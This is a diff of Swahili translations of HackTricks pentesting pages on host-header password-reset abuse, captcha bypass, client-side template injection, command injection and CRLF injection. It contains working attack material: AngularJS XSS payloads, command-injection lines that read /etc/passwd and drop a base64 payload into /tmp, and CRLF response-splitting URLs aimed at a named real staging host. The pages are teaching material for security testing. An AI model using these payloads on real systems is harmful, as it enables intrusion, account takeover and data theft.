Mara kadhaa nyuma ya pazia inategemea **Host header** kufanya baadhi ya vitendo. Kwa mfano, inaweza kutumia thamani yake kama **domain ya kutuma upya nenosiri**. Hivyo unapopokea barua pepe yenye kiungo cha kurekebisha nenosiri lako, domain inayotumika ni ile uliyoweka katika Host header. Kisha, unaweza kuomba kurekebisha nenosiri la watumiaji wengine na kubadilisha domain kuwa ile inayodhibitiwa na wewe ili kuiba nambari zao za kurekebisha nenosiri. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
@ -12,8 +11,8 @@ Mara kadhaa nyuma ya pazia inategemea **Host header** kufanya baadhi ya vitendo.
|
||||
|
||||
### Session booleans
|
||||
|
||||
Wakati mwingine unapokamilisha uthibitisho fulani kwa usahihi, nyuma ya pazia it **ongeza boolean tu yenye thamani "True" kwa sifa ya usalama ya kikao chako**. Kisha, mwisho tofauti utaweza kujua kama umepita hiyo ukaguzi kwa mafanikio.\
|
||||
Hata hivyo, ikiwa **umepita ukaguzi** na kikao chako kinapewa thamani hiyo "True" katika sifa ya usalama, unaweza kujaribu **kufikia rasilimali nyingine** ambazo **zinategemea sifa hiyo hiyo** lakini ambazo **hupaswi kuwa na ruhusa** za kufikia. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
Wakati mwingine unapokamilisha uthibitisho fulani kwa usahihi, nyuma ya pazia itachukua **kuongeza boolean yenye thamani "True" kwa sifa ya usalama ya kikao chako**. Kisha, mwisho tofauti utaweza kujua kama umepita hiyo ukaguzi kwa mafanikio.\
|
||||
Hata hivyo, ikiwa **umepita ukaguzi** na kikao chako kinapewa ile thamani "True" katika sifa ya usalama, unaweza kujaribu **kufikia rasilimali nyingine** ambazo **zinategemea sifa hiyo hiyo** lakini ambazo **hupaswi kuwa na ruhusa** za kufikia. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Register functionality
|
||||
|
||||
@ -21,17 +20,18 @@ Jaribu kujiandikisha kama mtumiaji ambaye tayari yupo. Jaribu pia kutumia wahusi
|
||||
|
||||
### Takeover emails
|
||||
|
||||
Jiandikishe barua pepe, kabla ya kuithibitisha badilisha barua pepe, kisha, ikiwa barua pepe mpya ya uthibitisho itatumwa kwa barua pepe ya kwanza iliyosajiliwa, unaweza kuchukua barua pepe yoyote. Au ikiwa unaweza kuwezesha barua pepe ya pili kuthibitisha ya kwanza, unaweza pia kuchukua akaunti yoyote.
|
||||
Jiandikishe barua pepe, kabla ya kuithibitisha badilisha barua pepe, kisha, ikiwa barua pepe mpya ya uthibitisho itatumwa kwa barua pepe ya kwanza iliyosajiliwa, unaweza kuchukua udhibiti wa barua pepe yoyote. Au ikiwa unaweza kuwezesha barua pepe ya pili kuthibitisha ile ya kwanza, unaweza pia kuchukua udhibiti wa akaunti yoyote.
|
||||
|
||||
### Access Internal servicedesk of companies using atlassian
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
{{#ref}}
|
||||
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
|
||||
{{#endref}}
|
||||
|
||||
### TRACE method
|
||||
|
||||
Wanda maendeleo wanaweza kusahau kuzima chaguzi mbalimbali za ufuatiliaji katika mazingira ya uzalishaji. Kwa mfano, njia ya HTTP `TRACE` imeundwa kwa madhumuni ya uchunguzi. Ikiwa imewezeshwa, seva ya wavuti itajibu maombi yanayotumia njia ya `TRACE` kwa kurudisha katika jibu ombi halisi lililopokelewa. Tabia hii mara nyingi haina madhara, lakini wakati mwingine husababisha uvujaji wa taarifa, kama vile jina la vichwa vya uthibitishaji vya ndani ambavyo vinaweza kuongezwa kwa maombi na proxies za kinyume.
|
||||
Wakuu wa maendeleo wanaweza kusahau kuzima chaguzi mbalimbali za ufuatiliaji katika mazingira ya uzalishaji. Kwa mfano, njia ya HTTP `TRACE` imeundwa kwa madhumuni ya uchunguzi. Ikiwa imewezeshwa, seva ya wavuti itajibu maombi yanayotumia njia ya `TRACE` kwa kurudisha katika jibu ombi halisi lililopokelewa. Tabia hii mara nyingi haina madhara, lakini wakati mwingine husababisha uvujaji wa taarifa, kama vile jina la vichwa vya uthibitishaji vya ndani ambavyo vinaweza kuongezwa kwa maombi na proxies za kinyume.
|
||||
|
||||

|
||||
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
@ -13,12 +13,12 @@ Ili **kuepuka** captcha wakati wa **mtihani wa seva** na kujiendesha kwa kazi za
|
||||
- **Ukaguzi wa Kanuni ya Chanzo**: Tafuta thamani ya captcha ndani ya kanuni ya chanzo ya ukurasa.
|
||||
- **Uchambuzi wa Kuki**: Chunguza kuki ili kuona kama thamani ya captcha imehifadhiwa na kutumika tena.
|
||||
- **Tumia Thamani za Captcha za Zamani**: Jaribu kutumia thamani za captcha zilizofanikiwa hapo awali tena. Kumbuka kwamba zinaweza kuisha muda wakati wowote.
|
||||
- **Kuharibu Kikao**: Jaribu kutumia thamani ile ile ya captcha katika vikao tofauti au kitambulisho cha kikao kilekile.
|
||||
- **Kuharibu Kikao**: Jaribu kutumia thamani ile ile ya captcha katika vikao tofauti au kitambulisho cha kikao kile kile.
|
||||
3. **Automatisering na Utambuzi**:
|
||||
- **Mathematical Captchas**: Ikiwa captcha inahusisha operesheni za hisabati, jiendeshe kwa mchakato wa hesabu.
|
||||
- **Mathematical Captchas**: Ikiwa captcha inahusisha operesheni za hisabati, jiendeshe katika mchakato wa hesabu.
|
||||
- **Utambuzi wa Picha**:
|
||||
- Kwa captchas zinazohitaji kusoma wahusika kutoka picha, tambua kwa mikono au kimaandishi jumla ya picha za kipekee. Ikiwa seti ni ndogo, unaweza kutambua kila picha kwa hash yake ya MD5.
|
||||
- Tumia zana za Optical Character Recognition (OCR) kama [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) ili kujiendesha katika kusoma wahusika kutoka picha.
|
||||
- Kwa captchas zinazohitaji kusoma wahusika kutoka kwa picha, tambua kwa mikono au kimaandishi jumla ya picha za kipekee. Ikiwa seti ni ndogo, unaweza kutambua kila picha kwa MD5 hash yake.
|
||||
- Tumia zana za Optical Character Recognition (OCR) kama [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) ili kujiendesha katika kusoma wahusika kutoka kwa picha.
|
||||
4. **Mbinu za Ziada**:
|
||||
- **Kujaribu Kiwango cha Kujaribu**: Angalia ikiwa programu inapunguza idadi ya majaribio au uwasilishaji katika muda fulani na ikiwa kikomo hiki kinaweza kuepukwa au kurekebishwa.
|
||||
- **Huduma za Tatu**: Tumia huduma za kutatua captcha au APIs zinazotoa utambuzi wa captcha wa kiotomatiki na kutatua.
|
||||
@ -30,8 +30,10 @@ Ili **kuepuka** captcha wakati wa **mtihani wa seva** na kujiendesha kwa kazi za
|
||||
|
||||
### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)
|
||||
|
||||
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) ni huduma inayotumia AI ambayo inajishughulisha na kutatua aina mbalimbali za captchas kiotomatiki, inasaidia ukusanyaji wa data kwa kusaidia waendelezaji kushinda changamoto za captcha zinazokabiliwa wakati wa Web Scraping. Inasaidia captchas kama **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, na Cloudflare turnstile miongoni mwa zingine**. Kwa waendelezaji, Capsolver inatoa chaguzi za ujumuishaji wa API zilizoelezwa katika [**nyaraka**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** ikirahisisha ujumuishaji wa kutatua captcha katika programu. Pia wanatoa nyongeza za kivinjari kwa [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) na [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), ikifanya iwe rahisi kutumia huduma yao moja kwa moja ndani ya kivinjari. Pakiti tofauti za bei zinapatikana ili kukidhi mahitaji tofauti, kuhakikisha kubadilika kwa watumiaji.
|
||||
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) ni huduma inayotumia AI ambayo inajishughulisha na kutatua aina mbalimbali za captchas kiotomatiki, inasaidia ukusanyaji wa data kwa kusaidia waendelezaji kushinda changamoto za captcha zinazokutana nazo wakati wa Web Scraping. Inasaidia captchas kama **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, na Cloudflare turnstile miongoni mwa zingine**. Kwa waendelezaji, Capsolver inatoa chaguzi za ujumuishaji wa API zilizoelezwa katika [**nyaraka**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** ikirahisisha ujumuishaji wa kutatua captcha katika programu. Pia wanatoa nyongeza za kivinjari kwa [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) na [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), ikifanya iwe rahisi kutumia huduma yao moja kwa moja ndani ya kivinjari. Pakiti tofauti za bei zinapatikana ili kukidhi mahitaji tofauti, kuhakikisha kubadilika kwa watumiaji.
|
||||
|
||||
{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,18 +2,17 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Summary
|
||||
|
||||
Ni kama [**Server Side Template Injection**](ssti-server-side-template-injection/) lakini katika **mteja**. **SSTI** inaweza kukuruhusu **kufanya kazi** kwenye seva ya mbali, **CSTI** inaweza kukuruhusu **kufanya kazi ya JavaScript** isiyo na mipaka katika kivinjari cha mwathirika.
|
||||
Ni kama [**Server Side Template Injection**](ssti-server-side-template-injection/) lakini katika **mteja**. **SSTI** inaweza kukuruhusu **kutekeleza msimbo** kwenye seva ya mbali, **CSTI** inaweza kukuruhusu **kutekeleza JavaScript** isiyo na mipaka katika kivinjari cha mwathirika.
|
||||
|
||||
**Kujaribu** udhaifu huu ni **kama** ilivyo katika kesi ya **SSTI**, mfasiri anatarajia **kigezo** na atakifanya. Kwa mfano, kwa payload kama `{{ 7-7 }}`, ikiwa programu ina **udhaifu** utaona `0`, na ikiwa sivyo, utaona asili: `{{ 7-7 }}`
|
||||
**Kujaribu** udhaifu huu ni **kama** ilivyo katika kesi ya **SSTI**, mfasiri anatarajia **kigezo** na atakitekeleza. Kwa mfano, kwa payload kama `{{ 7-7 }}`, ikiwa programu ina **udhaifu** utaona `0`, na ikiwa sivyo, utaona asili: `{{ 7-7 }}`
|
||||
|
||||
## AngularJS
|
||||
|
||||
AngularJS ni mfumo wa JavaScript unaotumika sana ambao unashirikiana na HTML kupitia sifa zinazojulikana kama maagizo, moja maarufu ikiwa **`ng-app`**. Agizo hili linaruhusu AngularJS kushughulikia maudhui ya HTML, na kuwezesha utekelezaji wa maelekezo ya JavaScript ndani ya mabano mawili ya curly.
|
||||
AngularJS ni mfumo maarufu wa JavaScript unaotumika mwingiliano na HTML kupitia sifa zinazojulikana kama maagizo, moja maarufu ikiwa **`ng-app`**. Agizo hili linaruhusu AngularJS kushughulikia maudhui ya HTML, na kuwezesha utekelezaji wa maelekezo ya JavaScript ndani ya mabano mawili ya curly.
|
||||
|
||||
Katika hali ambapo pembejeo ya mtumiaji inaingizwa kwa nguvu katika mwili wa HTML ulio na lebo `ng-app`, inawezekana kutekeleza msimbo wa JavaScript isiyo na mipaka. Hapa chini kuna mifano inayoonyesha jinsi msimbo wa JavaScript unaweza kutekelezwa:
|
||||
Katika hali ambapo input ya mtumiaji inaingizwa kwa nguvu ndani ya mwili wa HTML ulio na alama `ng-app`, inawezekana kutekeleza msimbo wa JavaScript isiyo na mipaka. Hapa chini kuna mifano inayoonyesha jinsi msimbo wa JavaScript unaweza kutekelezwa:
|
||||
```javascript
|
||||
{{$on.constructor('alert(1)')()}}
|
||||
{{constructor.constructor('alert(1)')()}}
|
||||
@ -24,8 +23,7 @@ Katika hali ambapo pembejeo ya mtumiaji inaingizwa kwa nguvu katika mwili wa HTM
|
||||
```
|
||||
Unaweza kupata mfano wa **msingi mtandaoni** wa udhaifu katika **AngularJS** katika [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) na katika [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
|
||||
|
||||
> [!CAUTION]
|
||||
> [**Angular 1.6 iliondoa sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) hivyo kutoka toleo hili payload kama `{{constructor.constructor('alert(1)')()}}` au `<input ng-focus=$event.view.alert('XSS')>` inapaswa kufanya kazi.
|
||||
> [!CAUTION] > [**Angular 1.6 iliondoa sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) hivyo kutoka toleo hili payload kama `{{constructor.constructor('alert(1)')()}}` au `<input ng-focus=$event.view.alert('XSS')>` inapaswa kufanya kazi.
|
||||
|
||||
## VueJS
|
||||
|
||||
@ -73,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
||||
|
||||
## **Orodha ya Kugundua Brute-Force**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,14 +2,13 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## What is command Injection?
|
||||
|
||||
A **command injection** inaruhusu utekelezaji wa amri za mfumo wa uendeshaji zisizo na mipaka na mshambuliaji kwenye seva inayohifadhi programu. Kama matokeo, programu na data zake zote zinaweza kuathiriwa kabisa. Utekelezaji wa amri hizi kwa kawaida unamruhusu mshambuliaji kupata ufikiaji usioidhinishwa au kudhibiti mazingira ya programu na mfumo wa msingi.
|
||||
A **command injection** inaruhusu utekelezaji wa amri za mfumo wa uendeshaji zisizo na mipaka na mshambuliaji kwenye seva inayohifadhi programu. Kama matokeo, programu na data zake zote zinaweza kuathiriwa kabisa. Utekelezaji wa amri hizi kawaida unaruhusu mshambuliaji kupata ufikiaji usioidhinishwa au kudhibiti mazingira ya programu na mfumo wa msingi.
|
||||
|
||||
### Context
|
||||
|
||||
Kulingana na **mahali ambapo ingizo lako linatolewa** unaweza kuhitaji **kufunga muktadha wa kunukuu** (ukitumia `"` au `'`) kabla ya amri.
|
||||
Kulingana na **mahali ambapo ingizo lako linatolewa** unaweza kuhitaji **kukomesha muktadha ulioandikwa** (ukitumia `"` au `'`) kabla ya amri.
|
||||
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
@ -30,7 +29,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Kipengele** Bypasses
|
||||
### **Kikomo** Bypasses
|
||||
|
||||
Ikiwa unajaribu kutekeleza **amri zisizo na mpangilio ndani ya mashine ya linux** utavutiwa kusoma kuhusu hii **Bypasses:**
|
||||
|
||||
@ -46,7 +45,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Parameters
|
||||
|
||||
Hapa kuna vigezo 25 bora ambavyo vinaweza kuwa na hatari ya kuingizwa kwa msimbo na udhaifu wa RCE unaofanana (kutoka [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
Hapa kuna vigezo 25 bora ambavyo vinaweza kuwa na udhaifu wa kuingiza msimbo na udhaifu wa RCE unaofanana (kutoka [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -74,7 +73,7 @@ Hapa kuna vigezo 25 bora ambavyo vinaweza kuwa na hatari ya kuingizwa kwa msimbo
|
||||
?run={payload}
|
||||
?print={payload}
|
||||
```
|
||||
### Mchakato wa kutoa data kwa muda
|
||||
### Mchakato wa kuhamasisha data kwa muda
|
||||
|
||||
Kutoa data: herufi kwa herufi
|
||||
```
|
||||
@ -118,9 +117,11 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
{{#endref}}
|
||||
|
||||
## Orodha ya Ugunduzi wa Brute-Force
|
||||
## Orodha ya Kugundua Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
|
||||
{{#endref}}
|
||||
|
||||
## Marejeleo
|
||||
|
||||
|
@ -2,25 +2,23 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
### CRLF
|
||||
|
||||
Carriage Return (CR) na Line Feed (LF), kwa pamoja wanajulikana kama CRLF, ni mfuatano wa wahusika maalum unaotumika katika itifaki ya HTTP kuashiria mwisho wa mstari au kuanza mpya. Seva za wavuti na vivinjari hutumia CRLF kutofautisha kati ya vichwa vya HTTP na mwili wa jibu. Wahusika hawa hutumika kwa kawaida katika mawasiliano ya HTTP/1.1 kati ya aina mbalimbali za seva za wavuti, kama vile Apache na Microsoft IIS.
|
||||
Carriage Return (CR) na Line Feed (LF), kwa pamoja wanajulikana kama CRLF, ni mfuatano maalum wa wahusika wanaotumika katika itifaki ya HTTP kuashiria mwisho wa mstari au kuanza mpya. Seva za wavuti na vivinjari hutumia CRLF kutofautisha kati ya vichwa vya HTTP na mwili wa jibu. Wahusika hawa hutumika kwa ujumla katika mawasiliano ya HTTP/1.1 kati ya aina mbalimbali za seva za wavuti, kama vile Apache na Microsoft IIS.
|
||||
|
||||
### CRLF Injection Vulnerability
|
||||
|
||||
CRLF injection inahusisha kuingiza wahusika wa CR na LF katika pembejeo zinazotolewa na mtumiaji. Kitendo hiki kinapotosha seva, programu, au mtumiaji kufasiri mfuatano ulioingizwa kama mwisho wa jibu moja na mwanzo wa jingine. Ingawa wahusika hawa si hatari kwa asili, matumizi yao mabaya yanaweza kusababisha kugawanyika kwa jibu la HTTP na shughuli nyingine za uhalifu.
|
||||
CRLF injection inahusisha kuingiza wahusika wa CR na LF katika pembejeo zinazotolewa na mtumiaji. Kitendo hiki kinapotosha seva, programu, au mtumiaji kuelewa mfuatano ulioingizwa kama mwisho wa jibu moja na mwanzo wa jingine. Ingawa wahusika hawa si hatari kwa asili, matumizi yao mabaya yanaweza kusababisha kugawanyika kwa majibu ya HTTP na shughuli nyingine za uhalifu.
|
||||
|
||||
### Example: CRLF Injection in a Log File
|
||||
### Mfano: CRLF Injection katika Faili ya Kumbukumbu
|
||||
|
||||
[Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
Fikiria faili la kumbukumbu katika paneli ya admin linalofuata muundo: `IP - Time - Visited Path`. Kuingia kwa kawaida kunaweza kuonekana kama:
|
||||
Fikiria faili ya kumbukumbu katika paneli ya admin inayofuata muundo: `IP - Wakati - Njia Iliyo Tembelewa`. Kuingia kwa kawaida kunaweza kuonekana kama:
|
||||
```
|
||||
123.123.123.123 - 08:15 - /index.php?page=home
|
||||
```
|
||||
Mshambuliaji anaweza kutumia CRLF injection kubadilisha log hii. Kwa kuingiza wahusika wa CRLF katika ombi la HTTP, mshambuliaji anaweza kubadilisha mtiririko wa pato na kuunda entries za log. Kwa mfano, mfuatano ulioingizwa unaweza kubadilisha entry ya log kuwa:
|
||||
Mshambuliaji anaweza kutumia CRLF injection kubadilisha hii log. Kwa kuingiza wahusika wa CRLF katika ombi la HTTP, mshambuliaji anaweza kubadilisha mtiririko wa matokeo na kuunda entries za log. Kwa mfano, mfuatano ulioingizwa unaweza kubadilisha entry ya log kuwa:
|
||||
```
|
||||
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
@ -31,7 +29,7 @@ IP - Time - Visited Path
|
||||
123.123.123.123 - 08:15 - /index.php?page=home&
|
||||
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
Mshambuliaji hivyo anaficha shughuli zao za uhalifu kwa kuifanya ionekane kama localhost (kiungo ambacho kwa kawaida kinatumiwa kuaminika ndani ya mazingira ya seva) ilifanya vitendo hivyo. Seva inatafsiri sehemu ya ombi inayoanisha `%0d%0a` kama parameter moja, wakati parameter ya `restrictedaction` inachambuliwa kama ingizo lingine, tofauti. Ombi lililobadilishwa kwa ufanisi linaiga amri halali ya usimamizi: `/index.php?page=home&restrictedaction=edit`
|
||||
Mshambuliaji hivyo anaficha shughuli zao za uhalifu kwa kuifanya ionekane kama localhost (kiungo ambacho kwa kawaida kinatumiwa kuaminika ndani ya mazingira ya seva) ilifanya vitendo hivyo. Seva inatafsiri sehemu ya ombi inayoanisha na `%0d%0a` kama parameter moja, wakati parameter ya `restrictedaction` inachambuliwa kama ingizo lingine, tofauti. Ombi lililobadilishwa kwa ufanisi linaiga amri halali ya usimamizi: `/index.php?page=home&restrictedaction=edit`
|
||||
|
||||
### HTTP Response Splitting
|
||||
|
||||
@ -42,7 +40,7 @@ HTTP Response Splitting ni udhaifu wa usalama unaotokea wakati mshambuliaji anat
|
||||
#### XSS kupitia HTTP Response Splitting
|
||||
|
||||
1. Programu inaweka kichwa maalum kama hiki: `X-Custom-Header: UserInput`
|
||||
2. Programu inapata thamani ya `UserInput` kutoka kwa parameter ya ombi, sema "user_input". Katika hali ambazo hazina uthibitisho sahihi wa ingizo na usimbaji, mshambuliaji anaweza kuunda payload inayojumuisha mfuatano wa CRLF, ikifuatiwa na maudhui ya uhalifu.
|
||||
2. Programu inapata thamani ya `UserInput` kutoka kwa parameter ya ombi, sema "user_input". Katika hali ambazo hazina uthibitisho sahihi wa ingizo na usimbuaji, mshambuliaji anaweza kuunda payload inayojumuisha mfuatano wa CRLF, ikifuatiwa na maudhui ya uhalifu.
|
||||
3. Mshambuliaji anaunda URL yenye 'user_input' iliyoundwa kwa njia maalum: `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
|
||||
- Katika URL hii, `%0d%0a%0d%0a` ni fomu ya URL-encoded ya CRLFCRLF. Inapotosha seva kuingiza mfuatano wa CRLF, ikifanya seva itendee sehemu inayofuata kama mwili wa jibu.
|
||||
4. Seva inarejesha ingizo la mshambuliaji katika kichwa cha jibu, na kusababisha muundo usio kusudiwa wa jibu ambapo script ya uhalifu inatafsiriwa na kivinjari kama sehemu ya mwili wa jibu.
|
||||
@ -70,19 +68,21 @@ Unaweza kutuma payload **ndani ya njia ya URL** kudhibiti **jibu** kutoka kwa se
|
||||
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
```
|
||||
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
|
||||
{{#endref}}
|
||||
|
||||
### HTTP Header Injection
|
||||
### Uingizaji wa Kichwa cha HTTP
|
||||
|
||||
HTTP Header Injection, mara nyingi inavyotumiwa kupitia CRLF (Carriage Return and Line Feed) injection, inaruhusu washambuliaji kuingiza vichwa vya HTTP. Hii inaweza kudhoofisha mifumo ya usalama kama vile XSS (Cross-Site Scripting) filters au SOP (Same-Origin Policy), ambayo inaweza kusababisha ufikiaji usioidhinishwa wa data nyeti, kama vile CSRF tokens, au udanganyifu wa vikao vya watumiaji kupitia kupanda kwa cookie.
|
||||
Uingizaji wa Kichwa cha HTTP, mara nyingi unavyotumiwa kupitia uingizaji wa CRLF (Carriage Return and Line Feed), unaruhusu washambuliaji kuingiza vichwa vya HTTP. Hii inaweza kudhoofisha mitambo ya usalama kama vile XSS (Cross-Site Scripting) filters au SOP (Same-Origin Policy), ambayo inaweza kusababisha ufikiaji usioidhinishwa wa data nyeti, kama vile CSRF tokens, au udanganyifu wa vikao vya watumiaji kupitia upandikizaji wa cookie.
|
||||
|
||||
#### Exploiting CORS via HTTP Header Injection
|
||||
#### Kutumia CORS kupitia Uingizaji wa Kichwa cha HTTP
|
||||
|
||||
Mshambuliaji anaweza kuingiza vichwa vya HTTP ili kuwezesha CORS (Cross-Origin Resource Sharing), akipita vizuizi vilivyowekwa na SOP. Uvunjaji huu unaruhusu scripts kutoka kwa asili mbaya kuingiliana na rasilimali kutoka asili tofauti, na hivyo kupata data iliyo salama.
|
||||
Mshambuliaji anaweza kuingiza vichwa vya HTTP ili kuwezesha CORS (Cross-Origin Resource Sharing), akipita vizuizi vilivyowekwa na SOP. Uvunjaji huu unaruhusu scripts kutoka kwa vyanzo vya uhalifu kuingiliana na rasilimali kutoka chanzo tofauti, na hivyo kupata data iliyo salama.
|
||||
|
||||
#### SSRF and HTTP Request Injection via CRLF
|
||||
#### SSRF na Uingizaji wa Ombi la HTTP kupitia CRLF
|
||||
|
||||
CRLF injection inaweza kutumika kuunda na kuingiza ombi jipya la HTTP. Mfano maarufu wa hili ni udhaifu katika darasa la `SoapClient` la PHP, hasa ndani ya parameter ya `user_agent`. Kwa kubadilisha parameter hii, mshambuliaji anaweza kuingiza vichwa vya ziada na maudhui ya mwili, au hata kuingiza ombi jipya la HTTP kabisa. Hapa chini kuna mfano wa PHP unaoonyesha uvunjaji huu:
|
||||
Uingizaji wa CRLF unaweza kutumika kuunda na kuingiza ombi jipya la HTTP. Mfano maarufu wa hili ni udhaifu katika darasa la `SoapClient` la PHP, hasa ndani ya parameter ya `user_agent`. Kwa kubadilisha parameter hii, mshambuliaji anaweza kuingiza vichwa vya ziada na maudhui ya mwili, au hata kuingiza ombi jipya la HTTP kabisa. Hapa chini kuna mfano wa PHP unaoonyesha uvunjaji huu:
|
||||
```php
|
||||
$target = 'http://127.0.0.1:9090/test';
|
||||
$post_string = 'variable=post value';
|
||||
@ -115,15 +115,15 @@ Unaweza kuingiza vichwa muhimu ili kuhakikisha **back-end inaendelea na muungani
|
||||
```
|
||||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||||
```
|
||||
Baada ya hapo, ombi la pili linaweza kufafanuliwa. Hali hii kwa kawaida inahusisha [HTTP request smuggling](http-request-smuggling/), mbinu ambapo vichwa vya ziada au vipengele vya mwili vilivyoongezwa na seva baada ya kuingiza vinaweza kusababisha udhaifu mbalimbali wa usalama.
|
||||
Baada ya hapo, ombi la pili linaweza kufafanuliwa. Hali hii kwa kawaida inahusisha [HTTP request smuggling](http-request-smuggling/), mbinu ambapo vichwa vya ziada au vipengele vya mwili vilivyoongezwa na seva baada ya kuingiza vinaweza kusababisha udanganyifu mbalimbali wa usalama.
|
||||
|
||||
**Udhihirisho:**
|
||||
**Ushughulikiaji:**
|
||||
|
||||
1. **Uingizaji wa Kichwa Chenye Nia Mbaya**: Mbinu hii inahusisha kuharibu ombi la mtumiaji anayefuata au cache ya wavuti kwa kufafanua kichwa chenye nia mbaya. Mfano wa hii ni:
|
||||
1. **Uingizaji wa Kichwa Chenye Ukatili**: Mbinu hii inahusisha kuharibu ombi la mtumiaji anayefuata au cache ya wavuti kwa kufafanua kichwa chenye uharibifu. Mfano wa hii ni:
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
||||
|
||||
2. **Kuunda Kichwa kwa Ajili ya Kuathiri Mfululizo wa Majibu**: Mbinu hii inahusisha kuunda kichwa ambacho, kinapounganishwa na takataka za nyuma, kinaunda ombi la pili kamili. Hii inaweza kusababisha kuathiri mfululizo wa majibu. Mfano ni:
|
||||
2. **Kuunda Kichwa kwa ajili ya Uharibifu wa Mfululizo wa Majibu**: Mbinu hii inahusisha kuunda kichwa ambacho, kinapounganishwa na takataka za nyuma, kinaunda ombi la pili kamili. Hii inaweza kusababisha uharibifu wa mfululizo wa majibu. Mfano ni:
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
||||
|
||||
